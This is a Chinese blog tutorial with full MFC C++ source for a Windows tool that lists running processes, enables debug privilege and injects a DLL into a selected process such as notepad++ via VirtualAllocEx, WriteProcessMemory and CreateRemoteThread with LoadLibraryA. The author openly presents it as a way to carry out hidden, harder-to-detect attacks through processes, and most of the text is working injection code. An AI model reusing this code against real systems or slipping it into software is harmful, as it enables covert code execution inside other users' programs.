一、背景
本篇是关于上一篇进程及DLL获取核心实现的延展,通过对进程注入自定义的dll文件(当然还可以通过无dll方式注入),实现基于进程的隐藏攻击,增加发现难度。
针对windows常见且常用API函数到此为止,后续将陆续更新逆向、HOOK等相关核心技术实现。
二、代码
选择要注入的进程,本篇通过对notepad++实现dll注入。
点击DLL注入按钮,其中DLL路径是我写死到程序中的。
点击“注入”后,相应的进程便增加了DllTest.dll测试文件。
当我们切换到notepad++页面,已弹出自定义的测试对话框。
父代码:
// processTestDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "processTest.h"
#include "processTestDlg.h"
#include "afxdialogex.h"
#include <Tlhelp32.h>
#include "RegAdd.h"
#include <windows.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
typedef void (*PFUNMSG)(char *);
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
class CAboutDlg : public CDialogEx
{
public:
CAboutDlg();
// 对话框数据
enum { IDD = IDD_ABOUTBOX };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
{
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
END_MESSAGE_MAP()
// CprocessTestDlg 对话框
CprocessTestDlg::CprocessTestDlg(CWnd* pParent /*=NULL*/)
: CDialogEx(CprocessTestDlg::IDD, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CprocessTestDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST2, m_RunList);
DDX_Control(pDX, IDC_LIST3, m_dll_RunList);
}
BEGIN_MESSAGE_MAP(CprocessTestDlg, CDialogEx)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, &CprocessTestDlg::OnBnClickedButton1)
ON_BN_CLICKED(IDC_BUTTON2, &CprocessTestDlg::OnBnClickedButton2)
END_MESSAGE_MAP()
// CprocessTestDlg 消息处理程序
BOOL CprocessTestDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
// 将“关于...”菜单项添加到系统菜单中。
// IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
BOOL bNameValid;
CString strAboutMenu;
bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
ASSERT(bNameValid);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO: 在此添加额外的初始化代码
// HMODULE hModule = LoadLibrary("DllTest.dll");
// if ( hModule == NULL )
// {
// MessageBox("DllTest.dll文件不存在");
// return -1;
// }
// PFUNMSG pFunMsg = (PFUNMSG)GetProcAddress(hModule, "MsgBox");
// pFunMsg("Hello First Dll !");
DebugPrivilege();
InitProcessList();
ShowProcess();
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
//获取进程信息
void CprocessTestDlg::ShowProcess(){
// 清空列表框内容
m_RunList.DeleteAllItems();
// 创建进程快照
//参数:枚举进程
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if ( hSnap == INVALID_HANDLE_VALUE )
{
AfxMessageBox("CreateToolhelp32Snapshot Error");
return ;
}
PROCESSENTRY32 Pe32 = { 0 };
Pe32.dwSize = sizeof(PROCESSENTRY32);
//返回快照句柄
BOOL bRet = Process32First(hSnap, &Pe32);
int i = 0;
CString str;
// 循环获取进程快照中的每一项
while ( bRet )
{
m_RunList.InsertItem(i, Pe32.szExeFile);
str.Format("%d", Pe32.th32ProcessID);
m_RunList.SetItemText(i, 1, str);
i ++;
bRet = Process32Next(hSnap, &Pe32);
}
CloseHandle(hSnap);
}
void CprocessTestDlg::InitProcessList(){
// MessageBox("test");
LONG lStyle;
lStyle = GetWindowLong(m_RunList.m_hWnd, GWL_STYLE);//获取当前窗口style
lStyle &= ~LVS_TYPEMASK; //清除显示方式位
lStyle |= LVS_EX_GRIDLINES; //设置style
SetWindowLong(m_RunList.m_hWnd, GWL_STYLE, lStyle);//设置style
m_RunList.InsertColumn(0, "进程名");
m_RunList.InsertColumn(1, "进程ID");
m_RunList.SetColumnWidth(0, 150);
m_RunList.SetColumnWidth(1, LVSCW_AUTOSIZE_USEHEADER);
lStyle = GetWindowLong(m_dll_RunList.m_hWnd, GWL_STYLE);//获取当前窗口style
lStyle &= ~LVS_TYPEMASK; //清除显示方式位
lStyle |= LVS_EX_GRIDLINES; //设置style
SetWindowLong(m_dll_RunList.m_hWnd, GWL_STYLE, lStyle);//设置style
m_dll_RunList.InsertColumn(0, "DLL名");
m_dll_RunList.InsertColumn(1, "DLL路径");
m_dll_RunList.SetColumnWidth(0, 150);
m_dll_RunList.SetColumnWidth(1, LVSCW_AUTOSIZE_USEHEADER);
}
void CprocessTestDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialogEx::OnSysCommand(nID, lParam);
}
}
// 如果向对话框添加最小化按钮,则需要下面的代码
// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
// 这将由框架自动完成。
void CprocessTestDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // 用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// 使图标在工作区矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 绘制图标
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialogEx::OnPaint();
}
}
//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR CprocessTestDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
//获取DLL信息
void CprocessTestDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知处理程序代码
int nPid =-1;
//获取焦点
POSITION Pos = m_RunList.GetFirstSelectedItemPosition();
int nSelect = -1;
while ( Pos )
{
nSelect = m_RunList.GetNextSelectedItem(Pos); //获取焦点信息
}
char szPid[10] = { 0 };
m_RunList.GetItemText(nSelect, 1, szPid, 10); //获取PID值
nPid = atoi(szPid);
MODULEENTRY32 Me32 = { 0 };
Me32.dwSize = sizeof(MODULEENTRY32);
// 创建模块快照
DebugPrivilege();
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, nPid);
if ( hSnap == INVALID_HANDLE_VALUE )
{
AfxMessageBox("CreateToolhelp32Snapshot 错误");
return ;
}
//返回快照句柄
BOOL bRet = Module32First(hSnap, &Me32);
int i = 0;
CString str;
m_dll_RunList.DeleteAllItems();
// 循环获取模块快照中的每一项
while ( bRet )
{
m_dll_RunList.InsertItem(i, Me32.szModule);
m_dll_RunList.SetItemText(i, 1, Me32.szExePath);
i ++;
bRet = Module32Next(hSnap, &Me32);
}
CloseHandle(hSnap);
}
//DLL远程注入
void CprocessTestDlg::OnBnClickedButton2()
{
// TODO: 在此添加控件通知处理程序代码
RegAdd regAdd;
POSITION Pos = m_RunList.GetFirstSelectedItemPosition();
int nSelect = -1;
while ( Pos )
{
nSelect = m_RunList.GetNextSelectedItem(Pos); //获取焦点信息
}
char szPid[10] = { 0 };
m_RunList.GetItemText(nSelect, 1, szPid, 10); //获取PID值
regAdd.pId = atoi(szPid);
strcpy(regAdd.dllName,"C:\\Users\\XXXX\\Visual Studio 2010\\Projects\\processTest\\Debug\\DllTest.dll");
//ZeroMemory(regAdd.dllName, MAXBYTE);
//strcpy(regAdd.dllName,"test");
//regAdd.GetDlgItem(IDC_EDIT2)->SetWindowText("test");
regAdd.DoModal();
//regAdd.dllName = "test";
//regAdd.GetDlgItem(IDC_EDIT2)->SetWindowTextA("test");
}
//权限
void CprocessTestDlg::DebugPrivilege()
{
HANDLE hToken = NULL;
BOOL bRet = OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken);
if ( bRet == TRUE )
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,
SE_DEBUG_NAME,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,
FALSE, &tp, sizeof(tp),
NULL, NULL);
CloseHandle(hToken);
}
}
弹出框代码:
// RegAdd.cpp : 实现文件
//
#include "stdafx.h"
#include "processTest.h"
#include "RegAdd.h"
// CRegAdd
IMPLEMENT_DYNAMIC(CRegAdd, CWnd)
CRegAdd::CRegAdd()
{
}
CRegAdd::~CRegAdd()
{
}
BEGIN_MESSAGE_MAP(CRegAdd, CWnd)
END_MESSAGE_MAP()
// CRegAdd 消息处理程序
// RegAdd.cpp : 实现文件
//
#include "stdafx.h"
#include "processTest.h"
#include "RegAdd.h"
#include "afxdialogex.h"
// RegAdd 对话框
IMPLEMENT_DYNAMIC(RegAdd, CDialog)
RegAdd::RegAdd(CWnd* pParent /*=NULL*/)
: CDialog(RegAdd::IDD, pParent)
{
}
RegAdd::~RegAdd()
{
}
void RegAdd::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(RegAdd, CDialog)
ON_BN_CLICKED(IDC_BUTTON1, &RegAdd::OnBnClickedButton1)
END_MESSAGE_MAP()
// RegAdd 消息处理程序
BOOL RegAdd::OnInitDialog()
{
CDialog::OnInitDialog();
DebugPrivilege();
GetDlgItem(IDC_EDIT2)->SetWindowText(dllName);
// TODO: 在此添加额外的初始化
//CString STemp;
//STemp.Format( _T("%d"),pId );
//MessageBox(STemp);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void RegAdd::OnBnClickedButton1()
{
//GetDlgItemText(IDC_EDIT3, processName, MAXBYTE);
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, pId);
if ( hProcess == NULL )
{
MessageBox("openProcess 失败");
return ;
}
char *pFunName = "LoadLibraryA";
// 计算欲注入DLL文件完整路径的长度
int nDllLen = lstrlen(dllName) + sizeof(char);
// 在目标进程申请一块长度为nDllLen大小的内存空间
PVOID pDllAddr = VirtualAllocEx(hProcess,
NULL, nDllLen,
MEM_COMMIT,
PAGE_READWRITE);
if ( pDllAddr == NULL )
{
MessageBox("error");
CloseHandle(hProcess);
return ;
}
DWORD dwWriteNum = 0;
// 将欲注入DLL文件的完整路径写入在目标进程中申请的空间内
WriteProcessMemory(hProcess, pDllAddr, dllName,
nDllLen, &dwWriteNum);
// 获得LoadLibraryA()函数的地址
FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"),
pFunName);
// 创建远程线程
HANDLE hThread = CreateRemoteThread(hProcess,
NULL, 0,
(LPTHREAD_START_ROUTINE)pFunAddr,
pDllAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
EndDialog(0);
// TODO: 在此添加控件通知处理程序代码
}
//权限
void RegAdd::DebugPrivilege()
{
HANDLE hToken = NULL;
BOOL bRet = OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken);
if ( bRet == TRUE )
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,
SE_DEBUG_NAME,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,
FALSE, &tp, sizeof(tp),
NULL, NULL);
CloseHandle(hToken);
}
}